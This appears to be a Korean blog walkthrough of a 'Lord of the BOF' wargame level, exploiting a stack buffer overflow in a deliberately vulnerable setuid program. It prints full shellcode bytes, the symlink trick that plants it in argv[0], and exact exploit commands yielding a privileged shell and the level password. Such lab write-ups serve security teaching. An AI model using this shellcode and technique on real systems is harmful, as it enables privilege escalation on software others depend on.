[해커스쿨 LOB] Level10: Vampire >> Skeleton

두비니

·

2020. 7. 26. 08:37

 

 

 


Level 10. Vampire >> Skeleton

Theme: argv hunter


 

 

 

로그인

id : vampire
pw : music world

 

bash2 & 코드확인

[vampire@localhost vampire]$ bash2
[vampire@localhost vampire]$ nl skeleton.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - skeleton
     4          - argv hunter
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  extern char **environ;

     9  main(int argc, char *argv[])
    10  {
    11          char buffer[40];
    12          int i, saved_argc;

    13          if(argc < 2){
    14                  printf("argv error\n");
    15                  exit(0);
    16          }

    17          // egghunter
    18          for(i=0; environ[i]; i++)
    19                  memset(environ[i], 0, strlen(environ[i]));

    20          if(argv[1][47] != '\xbf')
    21          {
    22                  printf("stack is still your friend.\n");
    23                  exit(0);
    24          }

    25          // check the length of argument
    26          if(strlen(argv[1]) > 48){
    27                  printf("argument is too long!\n");
    28                  exit(0);
    29          }

    30          // argc saver
    31          saved_argc = argc;

    32          strcpy(buffer, argv[1]);
    33          printf("%s\n", buffer);

    34          // buffer hunter
    35          memset(buffer, 0, 40);

    36          // ultra argv hunter!
    37          for(i=0; i<saved_argc; i++)
    38                  memset(argv[i], 0, strlen(argv[i]));
    39  }

 

제한조건

 

1. 환경변수 사용 불가능 (egghunter)

2. 버퍼에 입력 불가능 (buffer hunter)

3. argv[1]의 48번째 바이트는 '\xbf'여야 함 (stack is still your friend)

4. argv는 2개 이상 입력

5. argv[1]의 길이는 48이하(check the Length of argument) *new!*

6. 모든 매개변수 사용 불가능(ultra argv hunter!) *new!*

 

 

이제는 모든 매개변수가 사용이 불가능합니다.

buffer, argv, 환경변수까지 모두 사용이 불가능하네요. 딱히 감이 오지 않으니 마지막으로 ret하기전의 상황을 한번 봅시다.

 

(gdb) x/24s $esp
0xbffffaf8:      "\002"
0xbffffafa:      ""
0xbffffafb:      ""
0xbffffafc:      "\002"
0xbffffafe:      ""
0xbffffaff:      ""
0xbffffb00:      ""
0xbffffb01:      ""
0xbffffb02:      ""
0xbffffb03:      ""
0xbffffb04:      ""
0xbffffb05:      ""
0xbffffb06:      ""
0xbffffb07:      ""
0xbffffb08:      ""
0xbffffb09:      ""
0xbffffb0a:      ""
0xbffffb0b:      ""
0xbffffb0c:      ""
0xbffffb0d:      ""
0xbffffb0e:      ""
0xbffffb0f:      ""
0xbffffb10:      ""
---Type <return> to continue, or q <return> to quit---

 

지금 옵션으로 x가 아닌 s를 넣었는데, 이는 string이라는 뜻입니다. 읽을 수 있는 값들이 있다면 보여줍니다. 다만 빈칸이 있을 경우에는 주소를 하나씩 보기때문에 주로 크기를 크게크게 잡습니다. 24로 했더니 딱히 쓸만한게 전혀 없네요. 메모리의 끝까지 뒤져보겠습니다.

참고로 x, s를 제외하고도 gdb 옵션이 많으니 궁금하신분들은 한 번씩 읽어보시길 바랍니다.

 

참고: https://create32.tistory.com/entry/GDB-%EC%82%AC%EC%9A%A9%EB%B2%95-x-%EB%AA%85%EB%A0%B9%EC%96%B4

 

GDB 사용법 x 명령어

gdb 에서 소스코드를 볼수 있게 하려면 gcc 컴파일시 -g 옵션을 주면 된다. gcc -g test.c gdb -q a.out list 차례로 해보면 소스코드를 보면서 디버깅을 할 수 있다. gdb 는 x 명령어를 사용해 메모리를 조사�

create32.tistory.com

 

(gdb) x/1500s $esp
0xbffffaf8:      "\002"
0xbffffafa:      ""
0xbffffafb:      ""
0xbffffafc:      "\002"
0xbffffafe:      ""
0xbffffaff:      ""
0xbffffb00:      ""
0xbffffb01:      ""
...(생략)
0xbfffffe2:      ""
0xbfffffe3:      ""
0xbfffffe4:      ""
0xbfffffe5:      "/home/vampire/skeletol"
0xbffffffc:      ""
0xbffffffd:      ""
0xbffffffe:      ""
0xbfffffff:      ""
0xc0000000:      <Address 0xc0000000 out of bounds>
0xc0000000:      <Address 0xc0000000 out of bounds>
---Type <return> to continue, or q <return> to quit---

 

 

마지막에 보니깐 파일 이름 이 저장되고 종료되네요. 그러면 우리는 orge때 썼던 문제풀이방법으로 문제를 다시 풀어볼 수 있겠죠?

orge풀이: https://dokhakdubini.tistory.com/220

 

[해커스쿨 LOB] Level8: Orge >> Troll

Level 8. Orge >> Troll Theme: Check argc + argv hunter 로그인 id : orge pw : timewalker bash2 입력해주시고, 코드를 확인해봅시다. [orge@localhost orge]$ bash2 [orge@localhost orge]$ nl troll.c 1 /*..

dokhakdubini.tistory.com

 

그럼 공격 시나리오는 argv[0], 즉 파일 이름을 쉘코드로 설정하고, symbolic link를 걸어서 풀어주면 되겠죠?

다만 파일 이름의 경우 \x2f는 "/"이므로, 파일 이름에 포함되게 되면 파일 이름으로 인식하지 못하기 때문에 argv[0]을 이용할 것이라면 \x2f가 포함이 안되어있는 쉘코드를 이용해야합니다.

따라서 기존의 쉘코드가 아닌 다음 쉘코드를 이용하겠습니다.

 

 

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

 

core를 보기위해 복사된 파일에 symbolic link를 걸어줍시다.

[vampire@localhost vampire]$ ls
skeletol  skeleton  skeleton.c
[vampire@localhost vampire]$ ln -s skeletol `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

 

 

그리고 링크가 걸린 파일에 대해서 core분석을 해봅시다.

[vampire@localhost vampire]$ ./`python -c 'print "\x90"'`* `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒
Segmentation fault (core dumped)
[vampire@localhost vampire]$ gdb -q -c core
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/1500s $esp
..(생략)
0xbfffffb9:      ""
0xbfffffba:      ""
0xbfffffbb:      ""
0xbfffffbc:      ""
0xbfffffbd:      "./", '\220' <repeats 50 times>, "▒\021^1ɱ2\200l\016"
0xbffffffc:      ""
0xbffffffd:      ""
0xbffffffe:      ""
0xbfffffff:      ""
0xc0000000:      <Address 0xc0000000 out of bounds>
0xc0000000:      <Address 0xc0000000 out of bounds>
0xc0000000:      <Address 0xc0000000 out of bounds>
0xc0000000:      <Address 0xc0000000 out of bounds>
0xc0000000:      <Address 0xc0000000 out of bounds>

 

리턴주소는 0xbfffffcd 들고갑니다. (안전빵으로 0x10 미뤄서)

 

[vampire@localhost vampire]$ rm -f `python -c 'print "\x90"'`*
[vampire@localhost vampire]$ ls
core  skeletol  skeleton  skeleton.c
[vampire@localhost vampire]$ ln -s skeleton `python -c 'print "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[vampire@localhost vampire]$ ./`python -c 'print "\x90"'`* `python -c 'print "A"*44 + "\xbd\xff\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒

bash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid=510
shellcoder

 

 

끝!